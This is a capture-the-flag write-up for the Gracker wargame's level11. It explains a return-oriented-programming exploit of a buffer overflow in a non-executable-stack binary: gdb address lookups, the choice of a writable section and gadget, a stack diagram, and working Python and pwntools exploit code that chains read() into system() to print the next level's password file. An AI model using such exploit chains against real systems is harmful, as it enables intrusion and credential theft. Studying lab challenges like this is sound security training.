Gracker level11 (gROPing in the dark!)

Try the challenge thoroughly before reading the write-up. Otherwise, it's your loss.

We ssh to [email protected] and authenticate using the password we had obtained after solving the previous level.

Recap of previous level.

The recap of the previous level showcases a different solution to mine. Also, it has some neat tricks to figure out if your shellcode is being mangled or not using tracepoint/breakpoint trap. Definitely check it out!

Level11

They’re tired of coming up with welcome messages. Oh, well!

So, the challenge binary just takes in input, that’s it.

There’s a buffer overflow vulnerability, but the binary is NX/DEP protected. Go ROP, go!

It was a basic return oriented programming based exploit. Our goal: call system() with the address of ‘cat /home/level12/.pass’ as argument.

Steps:

  • Figure out the address of read() and system() function and overwrite the return address with the address of read().
  • Figure out a memory location to which the input (‘cat /home/level12/.pass’) would be read to.
  • Figure out the address of a ROP gadget for pop, pop, pop ret.
  • Call system with the address where our input has been stored.

Figuring out the address of read() and system():

We open up the binary in gdb and,

(gdb) start
Temporary breakpoint 1 at 0x8048420
Starting program: /matrix/level11/level11 

Temporary breakpoint 1, 0x08048420 in main ()
(gdb) x/x system
0xf7e66360 <system>:	0x08ec8353
(gdb) x/x read
0xf7f01600 <read>:	0x0c3d8365

Figure out a memory address to write to:

We need to write to some place in memory which can be written to, and can also hold our data. The .dynamic section is an ideal choice.

$ objdump -x level11
.
.
[..snip..]
                  CONTENTS, ALLOC, LOAD, DATA
 20 .dynamic      000000e8  080495ec  080495ec  000005ec  2**2
                  CONTENTS, ALLOC, LOAD, DATA
 21 .got          00000004  080496d4  080496d4  000006d4  2**2
                  CONTENTS, ALLOC, LOAD, DATA
 22 .got.plt      00000018  080496d8  080496d8  000006d8  2**2
                  CONTENTS, ALLOC, LOAD, DATA
 23 .data         00000008  080496f0  080496f0  000006f0  2**2
                  CONTENTS, ALLOC, LOAD, DATA

[..snip..]
.
.

So, we’ll be writing to the address 0x080495ec

ROP gadgets

We need the ROP gadget for pop, pop, ret. Examining the disassembly:

$ objdump -d level11
.
.
[..snip..]

 804849c:	5b                   	pop    %ebx
 804849d:	5e                   	pop    %esi
 804849e:	5f                   	pop    %edi
 804849f:	5d                   	pop    %ebp
 80484a0:	c3                   	ret    
 80484a1:	eb 0d                	jmp    80484b0 <__libc_csu_fini>
 80484a3:	90                   	nop

[..snip..]
.
.

Therefore the ROP gadget we’ll be using is at 0x804849d

Putting it all together

We easily figure out that the return address is at an offset of 28 from the input.

Our goal is to have the stack look like this after we successfully redirect code execution to the read() function through the buffer overflow:

+----------------------+
|         ...          |
+----------------------+

+----------------------+ <-- Start of system()'s frame
|      void *arg       | - 0x080495ec (buf)
+----------------------+
|   [return address]   | - 0x42424242
+----------------------+

+----------------------+
| [address of system]  | - 0xf7e66360
+----------------------+

+----------------------+ <-- Start of read()'s frame
|     size_t count     | - strlen(cmd)
+----------------------+
|      void *buf       | - 0x080495ec (buf)
+----------------------+
|        int fd        | - 0 (stdin)
+----------------------+
| [address of "pppr"]  | - 0x0804849d
+----------------------+

+----------------------+
|         ...          |
+----------------------+

The final exploit code is, therefore:

>>> import struct
>>> import subprocess
>>> 
>>> payload = 'A'*28
>>> readAddr = 0xf7f01600
>>> sysAddr = 0xf7e66360
>>> pppr = 0x0804849d
>>> dynamic = 0x080495ec
>>> 
>>> cmd = 'cat /home/level12/.pass '
>>> payload = 'A'*28
>>> payload += struct.pack('<I', readAddr) + struct.pack('<I', pppr) + struct.pack('<I', 0x0) + struct.pack('<I', dynamic) + struct.pack('<I',len(cmd))
>>> payload += struct.pack('<I',sysAddr) + 'BBBB' + struct.pack('<I', dynamic)
>>> p = subprocess.Popen(['./level11'], stdout = subprocess.PIPE, stdin = subprocess.PIPE)
>>> p.stdin.write(payload + '\n')
>>> p.stdin.write(cmd + '\n')
>>> cat: : No such file or directory
p.stdout.readline()
'<REDACTED>\n'

And Voila! I got the password to the next level. I am not revealing the password here so that the readers try the challenge on their own.

Alternate solution

Another solution using the ROP module of pwntools(which unfortunately is not installed on the gracker machine) is (tested on local machine):

from pwn import *

context(os = 'linux', log_level = 'debug')
readAddr = 0xf7ec6130
sysAddr = 0xf7e28f40

bin = ELF('./level11')
bin.symbols = {'read' : readAddr, 'system' : sysAddr}
libc = ELF('./libc.so.6')

sysOffset = libc.symbols['system']
readOffset = libc.symbols['read']
writeOffset = libc.symbols['write']

p = process('./level11')
#gdb.attach(p)

cmd = 'cat .pass'

rop = ROP(bin)
rop.read(0, 0x80495ec, len(cmd))
rop.system(0x80495ec)

payload = 'A'*28
payload += rop.chain()
print payload
p.sendline(payload)
p.sendline(cmd)

print p.recv(1024)